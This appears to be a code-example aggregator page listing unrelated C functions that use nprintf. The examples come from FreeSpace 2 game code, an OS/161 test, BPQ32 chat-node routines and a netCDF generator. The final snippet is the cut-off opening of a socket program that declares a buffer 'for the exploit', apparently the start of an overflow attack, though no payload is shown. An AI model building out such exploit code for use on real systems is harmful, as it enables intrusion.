Beispiel #1
0
// Open
BOOL WaveFile::Open(LPSTR pszFilename)
{
	int done = FALSE, rc = 0;
	WORD cbExtra = 0;
	BOOL fRtn = SUCCESS;    // assume success
	PCMWAVEFORMAT pcmwf;
	char fullpath[_MAX_PATH];

	m_total_uncompressed_bytes_read = 0;
	m_max_uncompressed_bytes_to_read = AS_HIGHEST_MAX;

	int FileSize, FileOffset;

	if (!cf_find_file_location(pszFilename, CF_TYPE_ANY, sizeof(fullpath) - 1, fullpath, &FileSize, &FileOffset))
	{
		goto OPEN_ERROR;
	}

	m_snd_info.cfp = mmioOpen(fullpath, NULL, MMIO_ALLOCBUF | MMIO_READ);

	if (m_snd_info.cfp == NULL)
	{
		goto OPEN_ERROR;
	}

	m_snd_info.true_offset = FileOffset;
	m_snd_info.size = FileSize;

	// if in a VP then position the stream at the start of the file
	if (FileOffset > 0)
	{
		mmioSeek(m_snd_info.cfp, FileOffset, SEEK_SET);
	}

	// first check for an OGG
	if ((rc = ov_open_callbacks(&m_snd_info, &m_snd_info.vorbis_file, NULL, 0, mmio_callbacks)) == 0)
	{
		// got an OGG so lets read the info in
		ov_info(&m_snd_info.vorbis_file, -1);

		// we only support one logical bitstream
		if (ov_streams(&m_snd_info.vorbis_file) != 1)
		{
			mprintf(("AUDIOSTR => OGG reading error:  We don't handle bitstream changes!\n"));
			goto OPEN_ERROR;
		}

		m_wave_format = OGG_FORMAT_VORBIS;
		m_wfmt.wFormatTag = WAVE_FORMAT_PCM;
		m_wfmt.nChannels = (WORD)m_snd_info.vorbis_file.vi->channels;
		m_wfmt.nSamplesPerSec = m_snd_info.vorbis_file.vi->rate;
		m_wfmt.cbSize = 0;

		if (UserSampleBits == 16 || UserSampleBits == 8)
			m_wfmt.wBitsPerSample = UserSampleBits;				//Decode at whatever the user specifies; only 16 and 8 are supported.
		else if (UserSampleBits > 16)
			m_wfmt.wBitsPerSample = 16;
		else
			m_wfmt.wBitsPerSample = 8;

		m_wfmt.nBlockAlign = (ushort)((m_wfmt.nChannels * m_wfmt.wBitsPerSample) / 8);
		m_wfmt.nAvgBytesPerSec = m_wfmt.nSamplesPerSec * m_wfmt.nBlockAlign;

		m_nBlockAlign = m_wfmt.nBlockAlign;
		m_nUncompressedAvgDataRate = m_wfmt.nAvgBytesPerSec;

		// location of start of file in VP
		m_data_offset = 0;
		m_nDataSize = m_data_bytes_left = ((int)ov_pcm_total(&m_snd_info.vorbis_file, -1) * m_wfmt.nBlockAlign);

		// Cue for streaming
		Cue();

		// successful open
		goto OPEN_DONE;
	}
		// not an OGG so assume that it's WAVE
	else
	{

		// extra check, if it's not ogg then but if the error was a bad ogg then bail

		if (rc && (rc != OV_ENOTVORBIS))

			goto OPEN_ERROR;


		// Skip the "RIFF" tag and file size (8 bytes)
		// Skip the "WAVE" tag (4 bytes)
		mmioSeek(m_snd_info.cfp, 12 + FileOffset, SEEK_SET);
		/*char buf[4];
		mmioRead(m_snd_info.cfp, buf, sizeof(char)*4);
		if(strnicmp("RIFF", buf, 4))
			goto OPEN_ERROR;
		//Skip file length
		mmioSeek( m_snd_info.cfp, 4, SEEK_CUR);
		mmioRead(m_snd_info.cfp, buf, sizeof(char)*4);
		if(strnicmp("WAVE", buf, 4))
			goto OPEN_ERROR;*/

		// Now read RIFF tags until the end of file
		uint tag, size, next_chunk;

		while (done == FALSE)
		{
			if (mmioRead(m_snd_info.cfp, (char*)&tag, sizeof(uint)) != sizeof(uint))
				break;

			if (mmioRead(m_snd_info.cfp, (char*)&size, sizeof(uint)) != sizeof(uint))
				break;

			next_chunk = mmioSeek(m_snd_info.cfp, 0, SEEK_CUR);
			next_chunk += size;

			switch (tag)
			{
			case 0x20746d66:		// The 'fmt ' tag
				mmioRead(m_snd_info.cfp, (char*)&pcmwf, sizeof(PCMWAVEFORMAT));
				if (pcmwf.wf.wFormatTag != WAVE_FORMAT_PCM)
				{
					mmioRead(m_snd_info.cfp, (char*)&cbExtra, sizeof(short));
				}

				// Allocate memory for WAVEFORMATEX structure + extra bytes
				if ((m_pwfmt_original = (WAVEFORMATEX*)vm_malloc(sizeof(WAVEFORMATEX) + cbExtra)) != NULL)
				{
					Assert(m_pwfmt_original != NULL);
					// Copy bytes from temporary format structure
					memcpy(m_pwfmt_original, &pcmwf, sizeof(pcmwf));
					m_pwfmt_original->cbSize = cbExtra;

					// Read those extra bytes, append to WAVEFORMATEX structure
					if (cbExtra != 0)
					{
						mmioRead(m_snd_info.cfp, (char*)((ubyte*)(m_pwfmt_original)+ sizeof(WAVEFORMATEX)), cbExtra);
					}
				}
				else
				{
					Int3();		// malloc failed
					goto OPEN_ERROR;
				}
				break;

			case 0x61746164:		// the 'data' tag
				m_nDataSize = size;	// This is size of data chunk.  Compressed if ADPCM.
				m_data_bytes_left = size;
				m_data_offset = mmioSeek(m_snd_info.cfp, 0, SEEK_CUR);
				done = TRUE;
				break;

			default:	// unknown, skip it
				break;
			}	// end switch

			mmioSeek(m_snd_info.cfp, next_chunk, SEEK_SET);
		}

		// At this stage, examine source format, and set up WAVEFORATEX structure for DirectSound.
		// Since DirectSound only supports PCM, force this structure to be PCM compliant.  We will
		// need to convert data on the fly later if our souce is not PCM
		switch (m_pwfmt_original->wFormatTag)
		{
		case WAVE_FORMAT_PCM:
			m_wave_format = WAVE_FORMAT_PCM;
			m_wfmt.wBitsPerSample = m_pwfmt_original->wBitsPerSample;
			break;

		case WAVE_FORMAT_ADPCM:
			m_wave_format = WAVE_FORMAT_ADPCM;
			if (UserSampleBits == 16 || UserSampleBits == 8)
				m_wfmt.wBitsPerSample = UserSampleBits;				//Decode at whatever the user specified, if it's 16 or 8
			else if (UserSampleBits > 16)
				m_wfmt.wBitsPerSample = 16;
			else
				m_wfmt.wBitsPerSample = 8;
			break;

		default:
			nprintf(("SOUND", "SOUND => Not supporting %d format for playing wave files\n",
					 m_pwfmt_original->wFormatTag));
			//Int3();
			goto OPEN_ERROR;
			break;

		} // end switch

		// Set up the WAVEFORMATEX structure to have the right PCM characteristics
		m_wfmt.wFormatTag = WAVE_FORMAT_PCM;
		m_wfmt.nChannels = m_pwfmt_original->nChannels;
		m_wfmt.nSamplesPerSec = m_pwfmt_original->nSamplesPerSec;
		m_wfmt.cbSize = 0;
		m_wfmt.nBlockAlign = (unsigned short)((m_wfmt.nChannels * m_wfmt.wBitsPerSample) / 8);
		m_wfmt.nAvgBytesPerSec = m_wfmt.nBlockAlign * m_wfmt.nSamplesPerSec;

		// Init some member data from format chunk
		m_nBlockAlign = m_pwfmt_original->nBlockAlign;
		m_nUncompressedAvgDataRate = m_wfmt.nAvgBytesPerSec;

		// Cue for streaming
		Cue();

		// Successful open
		goto OPEN_DONE;
	}

OPEN_ERROR:
	// Handle all errors here
	nprintf(("SOUND", "SOUND ==> Could not open wave file %s for streaming\n", pszFilename));

	fRtn = FAILURE;
	if (m_snd_info.cfp != NULL)
	{
		// Close file
		mmioClose(m_snd_info.cfp, 0);
		m_snd_info.cfp = NULL;
		m_snd_info.true_offset = 0;
		m_snd_info.size = 0;
	}
	if (m_pwfmt_original)
	{
		vm_free(m_pwfmt_original);
		m_pwfmt_original = NULL;
	}

OPEN_DONE:
	return (fRtn);
}
// Checks asteroid-ship collisions.  pair->a is asteroid and pair->b is ship.
// Returns 1 if all future collisions between these can be ignored
int collide_asteroid_ship( obj_pair * pair )
{
#if !(defined(FS2_DEMO) || defined(FS1_DEMO))

	if (!Asteroids_enabled)
		return 0;

	float		dist;
	object	*pasteroid = pair->a;
	object	*pship = pair->b;

		// Don't check collisions for warping out player
	if ( Player->control_mode != PCM_NORMAL )	{
		if ( pship == Player_obj ) return 0;
	}

	if (pasteroid->hull_strength < 0.0f)
		return 0;

	Assert( pasteroid->type == OBJ_ASTEROID );
	Assert( pship->type == OBJ_SHIP );

	dist = vm_vec_dist( &pasteroid->pos, &pship->pos );

	if ( dist < pasteroid->radius + pship->radius )	{
		int hit;
		vector	hitpos;
		// create and initialize ship_ship_hit_info struct
		collision_info_struct asteroid_hit_info;
		memset( &asteroid_hit_info, -1, sizeof(collision_info_struct) );

		if ( pasteroid->phys_info.mass > pship->phys_info.mass ) {
			asteroid_hit_info.heavy = pasteroid;
			asteroid_hit_info.light = pship;
		} else {
			asteroid_hit_info.heavy = pship;
			asteroid_hit_info.light = pasteroid;
		}

		hit = asteroid_check_collision(pasteroid, pship, &hitpos, &asteroid_hit_info );
		if ( hit ) {
			float		ship_damage;	
			float		asteroid_damage;

			vector asteroid_vel = pasteroid->phys_info.vel;

			// do collision physics
			calculate_ship_ship_collision_physics( &asteroid_hit_info );

			if ( asteroid_hit_info.impulse < 0.5f )
				return 0;

			// limit damage from impulse by making max impulse (for damage) 2*m*v_max_relative
			float max_ship_impulse = (2.0f*pship->phys_info.max_vel.xyz.z+vm_vec_mag_quick(&asteroid_vel)) * 
				(pship->phys_info.mass*pasteroid->phys_info.mass) / (pship->phys_info.mass + pasteroid->phys_info.mass);

			if (asteroid_hit_info.impulse > max_ship_impulse) {
				ship_damage = 0.001f * max_ship_impulse;
			} else {
				ship_damage = 0.001f * asteroid_hit_info.impulse;	//	Cut collision-based damage in half.
			}

			//	Decrease heavy damage by 2x.
			if (ship_damage > 5.0f)
				ship_damage = 5.0f + (ship_damage - 5.0f)/2.0f;

			if ((ship_damage > 500.0f) && (ship_damage > Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength/8.0f)) {
				ship_damage = Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength/8.0f;
				nprintf(("AI", "Pinning damage to %s from asteroid at %7.3f (%7.3f percent)\n", Ships[pship->instance].ship_name, ship_damage, 100.0f * ship_damage/Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength));
			}

			//	Decrease damage during warp out because it's damn annoying when your escoree dies during warp out.
			if (Ai_info[Ships[pship->instance].ai_index].mode == AIM_WARP_OUT)
				ship_damage /= 3.0f;

			//nprintf(("AI", "Asteroid damage on %s = %7.3f (%6.2f percent)\n", Ships[pship->instance].ship_name, ship_damage, 100.0f * ship_damage/Ship_info[Ships[pship->instance].ship_info_index].initial_hull_strength));

			// calculate asteroid damage and set asteroid damage to greater or asteroid and ship
			// asteroid damage is needed since we can really whack some small asteroid with afterburner and not do
			// significant damage to ship but the asteroid goes off faster than afterburner speed.
			asteroid_damage = asteroid_hit_info.impulse/pasteroid->phys_info.mass;	// ie, delta velocity of asteroid
			asteroid_damage = (asteroid_damage > ship_damage) ? asteroid_damage : ship_damage;

			// apply damage to asteroid
			asteroid_hit( pasteroid, pship, &hitpos, asteroid_damage);		// speed => damage

			//extern fix Missiontime;

			int quadrant_num;
			if ( asteroid_hit_info.heavy == pship ) {
				quadrant_num = get_ship_quadrant_from_global(&hitpos, pship);
				if ((pship->flags & OF_NO_SHIELDS) || !ship_is_shield_up(pship, quadrant_num) ) {
					quadrant_num = -1;
				}
				ship_apply_local_damage(asteroid_hit_info.heavy, asteroid_hit_info.light, &hitpos, ship_damage, quadrant_num, CREATE_SPARKS, asteroid_hit_info.submodel_num);
				//if (asteroid_hit_info.heavy->type == OBJ_SHIP) {
				//	nprintf(("AI", "Time = %7.3f, asteroid #%i applying %7.3f damage to ship %s\n", f2fl(Missiontime), pasteroid-Objects, ship_damage, Ships[asteroid_hit_info.heavy->instance].ship_name));
				//}
			} else {
				// dont draw sparks (using sphere hitpos)
				ship_apply_local_damage(asteroid_hit_info.light, asteroid_hit_info.heavy, &hitpos, ship_damage, MISS_SHIELDS, NO_SPARKS);
				//if (asteroid_hit_info.light->type == OBJ_SHIP) {
				//	nprintf(("AI", "Time = %7.3f, asteroid #%i applying %7.3f damage to ship %s\n", f2fl(Missiontime), pasteroid-Objects, ship_damage, Ships[asteroid_hit_info.light->instance].ship_name));
				//}
			}

			// maybe print Collision on HUD
			if ( pship == Player_obj ) {					
				hud_start_text_flash(XSTR("Collision", 1431), 2000);
			}

			collide_ship_ship_do_sound(&hitpos, pship, pasteroid, pship==Player_obj);

			return 0;
		}

		return 0;
	} else {
		// estimate earliest time at which pair can hit
		float asteroid_max_speed, ship_max_speed, time;
		ship *shipp = &Ships[pship->instance];

		asteroid_max_speed = vm_vec_mag(&pasteroid->phys_info.vel);		// Asteroid... vel gets reset, not max vel.z
		asteroid_max_speed = max(asteroid_max_speed, 10.0f);

		if (ship_is_beginning_warpout_speedup(pship)) {
			ship_max_speed = max(ship_get_max_speed(shipp), ship_get_warp_speed(pship));
		} else {
			ship_max_speed = ship_get_max_speed(shipp);
		}
		ship_max_speed = max(ship_max_speed, 10.0f);
		ship_max_speed = max(ship_max_speed, pship->phys_info.vel.xyz.z);


		time = 1000.0f * (dist - pship->radius - pasteroid->radius - 10.0f) / (asteroid_max_speed + ship_max_speed);		// 10.0f is a safety factor
		time -= 200.0f;		// allow one frame slow frame at ~5 fps

		if (time > 100) {
			pair->next_check_time = timestamp( fl2i(time) );
		} else {
			pair->next_check_time = timestamp(0);	// check next time
		}
		return 0;
	}
#else
	return 0;	// no asteroids in demo version
#endif
}
int gr_stub_bm_lock(const char *filename, int handle, int bitmapnum, ubyte bpp, ubyte flags, bool nodebug)
{
	ubyte c_type = BM_TYPE_NONE;
	ubyte true_bpp;

	bitmap_entry *be = &bm_bitmaps[bitmapnum];
	bitmap *bmp = &be->bm;

	true_bpp = 8;

	// don't do a bpp check here since it could be different in OGL - taylor
	if ( bmp->data == 0 ) {
		Assert(be->ref_count == 1);

		if ( be->type != BM_TYPE_USER ) {
			if ( bmp->data == 0 ) {
				nprintf (("BmpMan","Loading %s for the first time.\n", be->filename));
			}
		}

		if ( !Bm_paging )	{
			if ( be->type != BM_TYPE_USER ) {							
				nprintf(( "Paging", "Loading %s (%dx%dx%d)\n", be->filename, bmp->w, bmp->h, true_bpp ));
			}
		}

		// select proper format
		if(flags & BMP_AABITMAP){
			BM_SELECT_ALPHA_TEX_FORMAT();
		} else if(flags & BMP_TEX_ANY){
			BM_SELECT_TEX_FORMAT();					
		} else {
			BM_SELECT_SCREEN_FORMAT();
		}

		// make sure we use the real graphic type for EFFs
		if ( be->type == BM_TYPE_EFF ) {
			c_type = be->info.ani.eff.type;
		} else {
			c_type = be->type;
		}

		switch ( c_type ) {
			case BM_TYPE_PCX:
				bm_lock_pcx( handle, bitmapnum, be, bmp, true_bpp, flags );
				break;

			case BM_TYPE_ANI:
				bm_lock_ani( handle, bitmapnum, be, bmp, true_bpp, flags );
				break;

			case BM_TYPE_TGA:
				bm_lock_tga( handle, bitmapnum, be, bmp, true_bpp, flags );
				break;

 			case BM_TYPE_PNG:
 				bm_lock_png( handle, bitmapnum, be, bmp, bmp->true_bpp, flags );
 				break;

			case BM_TYPE_JPG:
				bm_lock_jpg( handle, bitmapnum, be, bmp, bmp->true_bpp, flags );
				break;

			case BM_TYPE_DDS:
			case BM_TYPE_DXT1:
			case BM_TYPE_DXT3:
			case BM_TYPE_DXT5:
			case BM_TYPE_CUBEMAP_DDS:
			case BM_TYPE_CUBEMAP_DXT1:
			case BM_TYPE_CUBEMAP_DXT3:
			case BM_TYPE_CUBEMAP_DXT5:
				bm_lock_dds( handle, bitmapnum, be, bmp, true_bpp, flags );
				break;

			case BM_TYPE_USER:	
				bm_lock_user( handle, bitmapnum, be, bmp, true_bpp, flags );
				break;

			default:
				Warning(LOCATION, "Unsupported type in bm_lock -- %d\n", c_type );
				return -1;
		}		

		// always go back to screen format
		BM_SELECT_SCREEN_FORMAT();
	}

	// make sure we actually did something
	if ( !(bmp->data) ) {
		// crap, bail...
		return -1;
	}

	return 0;
}
void player_select_close()
{
	// destroy the player select window
	Player_select_window.destroy();

	// if we're in input mode - we should undo the pilot create reqeust
	if(Player_select_input_mode) {
		player_select_cancel_create();
	}

	// if we are just exiting then don't try to save any pilot files - taylor
	if (Player_select_no_save_pilot) {
		Player = NULL;
		return;
	}

	// actually set up the Player struct here
	if ( (Player_select_pilot == -1) || (Player_select_num_pilots == 0) ) {
		nprintf(("General","WARNING! No pilot selected! We should be exiting the game now!\n"));
		return;
	}

	// unload all bitmaps
	if(Player_select_background_bitmap >= 0) {
		bm_release(Player_select_background_bitmap);
		Player_select_background_bitmap = -1;
	} 
	// if(Player_select_palette >= 0){
	// 	bm_release(Player_select_palette);
		//Player_select_palette = -1;
	// }

	// setup the player  struct
	Player_num = 0;
	Player = &Players[0];
	Player->flags |= PLAYER_FLAGS_STRUCTURE_IN_USE;

	// New pilot file makes no distinction between multi pilots and regular ones, so let's do this here.
	if (Player_select_mode == PLAYER_SELECT_MODE_MULTI) {
		Player->flags |= PLAYER_FLAGS_IS_MULTI;
	}

	// WMC - Set appropriate game mode
	if ( Player->flags & PLAYER_FLAGS_IS_MULTI ) {
		Game_mode = GM_MULTIPLAYER;
	} else {
		Game_mode = GM_NORMAL;
	}

	// now read in a the pilot data
	if ( !Pilot.load_player(Pilots[Player_select_pilot], Player) ) {
		Error(LOCATION,"Couldn't load pilot file, bailing");
		Player = NULL;
	} else {
		// NOTE: this may fail if there is no current campaign, it's not fatal
		Pilot.load_savefile(Player->current_campaign);
	}

	if (Player_select_force_main_hall != "") {
		main_hall_init(Player_select_force_main_hall);
	}

	// free memory from all parsing so far, all tbls found during game_init()
	// and the current campaign which we loaded here
	stop_parse();

	Player_select_screen_active = 0;
}
static
void
makeprocs(bool dowait)
{
    int i, status, failcount;
    struct usem s1, s2;
    pid_t pids[NJOBS];

    if (dowait) {
        semcreate("1", &s1);
        semcreate("2", &s2);
    }

    tprintf("Job size approximately %lu bytes\n", (unsigned long) JOBSIZE);
    tprintf("Forking %d jobs; total load %luk\n", NJOBS,
            (unsigned long) (NJOBS * JOBSIZE)/1024);

    for (i=0; i<NJOBS; i++) {
        pids[i] = fork();
        if (pids[i]<0) {
            warn("fork");
        }
        if (pids[i]==0) {
            /* child */
            if (dowait) {
                //tsay("Process %d forked\n", i);
                semopen(&s1);
                semopen(&s2);
                semV(&s1, 1);
                semP(&s2, 1);
                semclose(&s1);
                semclose(&s2);
            }
            go(i);
        }
    }

    if (dowait) {
        semopen(&s1);
        semopen(&s2);
        //tsay("Waiting for fork...\n");
        semP(&s1, NJOBS);
        //tsay("Starting computation.\n");
        semV(&s2, NJOBS);
    }

    failcount=0;
    for (i=0; i<NJOBS; i++) {
        if (pids[i]<0) {
            failcount++;
        }
        else {
            if (waitpid(pids[i], &status, 0)<0) {
                err(1, "waitpid");
            }
            if (status_is_failure(status)) {
                failcount++;
            }
        }
    }

    if (failcount>0) {
        printf("%d subprocesses failed\n", failcount);
        exit(1);
    }
    nprintf("\n");
    tprintf("Test complete\n");
    success(TEST161_SUCCESS, SECRET, "/testbin/parallelvm");

    semclose(&s1);
    semclose(&s2);
    semdestroy(&s1);
    semdestroy(&s2);
}
// handle an incoming xfer request from the xfer system
void multi_data_handle_incoming(int handle)
{	
	int player_index = -1;
	PSNET_SOCKET_RELIABLE sock = INVALID_SOCKET;	
	char *fname;		

	// get the player who is sending us this file	
	sock = multi_xfer_get_sock(handle);
	player_index = find_player_socket(sock);

	// get the filename of the file
	fname = multi_xfer_get_filename(handle);
	if(fname == NULL){
		nprintf(("Network", "Could not get file xfer filename! wacky...!\n"));

		// kill the stream
		multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT);
		return;
	}

	// if this is not a valid data file
	if(!multi_data_is_data(fname)){
		nprintf(("Network", "Not accepting xfer request because its not a valid data file!\n"));
		
		// kill the stream		
		multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT);	
		return;
	}	

	// if we already have a copy of this file, abort the xfer		
	// Does file exist in \multidata?
	if (cf_exists(fname, CF_TYPE_MULTI_CACHE)) {
		nprintf(("Network", "Not accepting file xfer because a duplicate exists!\n"));			
	
		// kill the stream		
		multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT);	

		// if we're the server, we still need to add it to the list though
		if((Net_player->flags & NETINFO_FLAG_AM_MASTER) && (player_index >= 0)){
			multi_data_add_new(fname, player_index);
		}
		return;
	}	
	
	// if I'm the server of the game, do stuff a little differently
	if(Net_player->flags & NETINFO_FLAG_AM_MASTER){		
		if(player_index == -1){
			nprintf(("Network", "Could not find player for incoming player data stream!\n"));

			// kill the stream
			multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT);
			return;
		}	

		// attempt to add the file
		if(!multi_data_add_new(fname, player_index)){
			// kill the stream
			multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT);
			return;
		} else {
			// force the file to go into the multi cache directory
			multi_xfer_handle_force_dir(handle, CF_TYPE_MULTI_CACHE);
			
			// mark it as autodestroy			
			multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_AUTODESTROY);
		}
	}
	// if i'm a client, this is an incoming file from the server
	else {
		// if i'm not accepting pilot pics, abort
		if(!(Net_player->p_info.options.flags & MLO_FLAG_ACCEPT_PIX)){
			nprintf(("Network", "Client not accepting files because we don't want 'em!\n"));

			// kill the stream		
			multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_REJECT);	
			return;
		}

		// set the xfer handle to autodestroy itself since we don't really want to have to manage all incoming pics
		multi_xfer_xor_flags(handle, MULTI_XFER_FLAG_AUTODESTROY);
		
		// force the file to go into the multi cache directory
		multi_xfer_handle_force_dir(handle, CF_TYPE_MULTI_CACHE);

		// begin receiving the file
		nprintf(("Network", "Client receiving xfer handle %d\n",handle));
	}		
}
Beispiel #7
0
Datei: RT1.C Projekt: g8bpq/BPQ32
static void chkctl(CIRCUIT *ckt_from)
{
	NODE    *node, *ln;
	CIRCUIT *ckt_to;
	USER    *user, *su;
	char    *ncall, *ucall, *f1, *f2, *buf;

	if (ckt_from->buf[FORMAT_O] != FORMAT) return; // Not a control message.
	buf = strdup(ckt_from->buf + DATA_O);

// FORMAT and TYPE bytes are followed by node and user callsigns.

	ncall = buf;
	ucall = strlop(buf, ' ');
	if (!ucall) { free(buf); return; } // Not a control message.

// There may be at least one field after the node and user callsigns.
// Node leave (id_unlink) has no F1.

	f1 = strlop(ucall, ' ');

// If the frame came from an unknown node ignore it.
// If the frame came from us ignore it (loop breaking).

	node = node_find(ncall);
	if (!node || matchi(ncall, Node->calls)) { free(buf); return; }

	switch(ckt_from->buf[TYPE_O])
	{
// Data from user ucall at node ncall.

		case id_data :
			user = user_find(ucall);
			if (!user) break;
			text_tellu(user, f1, NULL, o_topic);

			for (ckt_to = circuit_hd; ckt_to; ckt_to = ckt_to->next)
				if ((ckt_to->flags & p_linked) &&
					   ckt_to->refcnt &&
					   !cn_find(ckt_to, node) &&
					   ct_find(ckt_to, user->topic)) nprintf(ckt_to->s, "%s\n", ckt_from->buf);
			break;

// User ucall at node ncall changed their Name/QTH info.

		case id_user :
			echo(ckt_from, node);  // Relay to other nodes.
			user = user_find(ucall);
			if (!user) break;
			f2 = strlop(f1, ' ');
			if (!f2) break;
			strnew(&user->name, f1);
			strnew(&user->qth,  f2);
			upduser(user);
			break;

// User ucall logged into node ncall.

		case id_join :
			echo(ckt_from, node);  // Relay to other nodes.
			f2 = strlop(f1, ' ');
			if (!f2) break;
			user = user_join(ckt_from, ucall, ncall, NULL);
			if (!user) break;
			ckt_from->refcnt++;
			text_tellu(user, rtjoin, NULL, o_all);
			strnew(&user->name, f1);
			strnew(&user->qth,  f2);
			upduser(user);
			break;

// User ucall logged out of node ncall.

		case id_leave :
			echo(ckt_from, node);  // Relay to other nodes.
			user = user_find(ucall);
			if (!user) break;
			f2 = strlop(f1, ' ');
			if (!f2) break;
			text_tellu(user, rtleave, NULL, o_all);
			ckt_from->refcnt--;
			cn_dec(ckt_from, node);
			strnew(&user->name, f1);
			strnew(&user->qth,  f2);
			upduser(user);
			user_leave(user);
			break;

// Node ncall lost its link to node ucall, alias f1.

		case id_unlink :
			echo(ckt_from, node);  // Relay to other nodes.
			ln = node_find(ucall);
			if (ln)	cn_dec(ckt_from, ln);
			break;

// Node ncall acquired a link to node ucall, alias f1.
// If we are not linked, is no problem, don't link.
// If we are linked, is a loop, do what?

		case id_link :
			echo(ckt_from, node);  // Relay to other nodes.
			ln = node_find(ucall);
			if (!ln && !matchi(ncall, Node->calls)) cn_inc(ckt_from, ucall, f1);
			break;

// User ucall at node ncall sent f2 to user f1.

		case id_send :
			user = user_find(ucall);
			if (!user) break;
			f2 = strlop(f1, ' ');
			if (!f2) break;
			su = user_find(f1);
			if (!su) break;

			if (su->circuit->flags & p_user)
				text_tellu(user, f2, f1, o_one);
			else
				echo(ckt_from, node);  // Relay to other nodes.
			break;

// User ucall at node ncall changed topic.

		case id_topic :
			echo(ckt_from, node);  //  Relay to other nodes.
			user = user_find(ucall);
			if (user) topic_chg(user, f1);
			break;

		default :  break;
	}

	free(buf);
}
Beispiel #8
0
Datei: RT1.C Projekt: g8bpq/BPQ32
static void text_xmit(USER *user, USER *to, char *text)
{
	nprintf(to->circuit->s, "%c%c%s %s %s %s\n",
		FORMAT, id_send, Node->calls, user->call, to->call, text);
}
Beispiel #9
0
Datei: RT1.C Projekt: g8bpq/BPQ32
static void topic_xmit(USER *user, CIRCUIT *circuit)
{
	nprintf(circuit->s, "%c%c%s %s %s\n",
		FORMAT, id_topic, Node->calls, user->call, user->topic->name);
}
Beispiel #10
0
static void
genj_writevar(Generator* generator, Symbol* vsym, Bytebuffer* code,
              int rank, size_t* start, size_t* count)
{
    Dimset* dimset = &vsym->typ.dimset;
    int typecode = vsym->typ.basetype->typ.typecode;
    int i;

    codeline("");
    codelined(1,"{"); /* Enclose in {...} for scoping */

    if(rank == 0) {
        bbprintf0(stmt,"%sArray%s.D0 data = new Array%s.D0();\n",
		indented(1),jtypecap(typecode), jtypecap(typecode));
        codedump(stmt);
        if(typecode == NC_CHAR) {
            /* Construct the data Array */
            jquotestring(code,'\'');
	    bbprintf0(stmt,"%sdata.set((char)%s);\n",
			  indented(1),bbContents(code));
	} else {
	    commify(code);
            bbprintf0(stmt,"%sdata.set((%s)%s);\n",
	 	      indented(1),jtype(typecode),bbContents(code));
        }
	codedump(stmt);
        /* do the actual write */
        bbprintf0(stmt,"%sncfile.write(\"%s\",data);\n",
		indented(1),jescapifyname(vsym->name));
	codedump(stmt);
    } else { /* array */
	Bytebuffer* dimbuf = bbNew();
        /* Construct the dimension set*/
	bbCat(dimbuf,"new int[]{");
	for(i=0;i<rank;i++) {
            Symbol* dsym = dimset->dimsyms[i];
	    char tmp[32];
	    nprintf(tmp,sizeof(tmp),"%lu",dsym->dim.declsize);
	    if(i>0) {bbCat(dimbuf,", ");}
	    bbCat(dimbuf,tmp);
	}
	bbCat(dimbuf,"}");
        /* Construct the data array and capture its index */
	if(typecode == NC_CHAR) {
	    jquotestring(code,'"');
            bbprintf0(stmt,"%sString contents = ",
			indented(1));
	} else {
            bbprintf0(stmt,"%s%s[] contents = new %s[] {",
			indented(1),jtype(typecode),jtype(typecode));
	    commify(code);
	}
	codedump(stmt);
        codedump(code);
        if(typecode != NC_CHAR) codepartial("}");
        codeline(";");
        bbprintf0(stmt,"%sArray%s data = new Array%s(%s);\n",
		indented(1),
		jtypecap(typecode),
		jtypecap(typecode),
		bbContents(dimbuf));
        codedump(stmt);
        codelined(1,"IndexIterator iter = data.getIndexIterator();");
        codelined(1,"int count = 0;");
        codelined(1,"while(iter.hasNext())");
	if(typecode == NC_CHAR)
            bbprintf0(stmt,
			"%siter.setCharNext(contents.charAt(count++));\n",indented(2));
	else
            bbprintf0(stmt,"%siter.set%sNext(contents[count++]);\n",
                    indented(2),jtypecap(typecode));
	codedump(stmt);
        bbFree(dimbuf);
	/* Construct the origin set from the start set */
        bbprintf0(stmt,"%sint[] origin = new int[]{",indented(1));
	for(i=0;i<rank;i++) {
	    bbprintf(stmt,"%s%lu",(i>0?", ":""),start[i]);
	}
	bbCat(stmt,"};\n");
	codedump(stmt);
        /* do the actual write */
        bbprintf0(stmt,"%sncfile.write(\"%s\",origin,data);\n",
		indented(1),jescapifyname(vsym->name));
	codedump(stmt);
    }
    codelined(1,"}"); /* Enclose in {...} for scoping */
    codeflush();
}
Beispiel #11
0
Datei: RT1.C Projekt: g8bpq/BPQ32
int rtloginu ()
{
	CIRCUIT *c, *circuit;
	USER    *user;

// Is this user already logged in to RT somewhere else?

	if (user_find(CurProc->user))
	{
		tputs("*** Already connected at another node.\n");
		return cmd_exit;
	}

	if (log_rt) tlogp("RT Login");

// Create a circuit for this user.

	circuit = circuit_new(p_user, CurProc->output);
	if (!circuit) return cmd_exit;

// Create the user entry.

	user = user_join(circuit, CurProc->user, Node->calls, Node->aliass);
	circuit->u.user = user;
	tputs("RoundTable Server.\nType /h for command summary.\nBringing up links to other nodes.\n");
	tputs("This may take a minute or two.\nThe /p command shows what nodes are linked.\n");
	text_tellu(user, rtjoin, NULL, o_all);
	user_tell(user, id_join);
	show_users();
	makelinks();

// Run in circles, scream and shout.

	for (;;) if (getinp(circuit))
	{
		if (circuit->buf[0] is '/')
		{
			if (!rt_cmd(circuit))
			{
				tputs("Returned to node.\n");
				logout(circuit);
				return cmd_ok;
			}
		}
		else
		{
			text_tellu(user, circuit->buf, NULL, o_topic); // To local users.

// To remote users.

			for (c = circuit_hd; c; c = c->next)
			if ((c->flags & p_linked) && c->refcnt && ct_find(c, user->topic))
				nprintf(c->s, "%c%c%s %s %s\n",
				FORMAT, id_data, Node->calls, user->call, circuit->buf);
		}
	}
	else
	{
		logout(circuit);
		return cmd_exit;
	}
}
Beispiel #12
0
void main(int argc, char *argv[]) {

    /* Set up some stack storage... */

    SOCKET hSock;			/* Socket descriptor handle */
    unsigned short port;		/* This is set to default after WSAStartup() */
    int buffsize = 1024;		/* Some ISAs need bigger; set at command-line */
    struct hostent *he;		/* For DNS resolution */
    char exploit[BUFF_SIZE];	/* BIG uninitialized buffer for the exploit. */
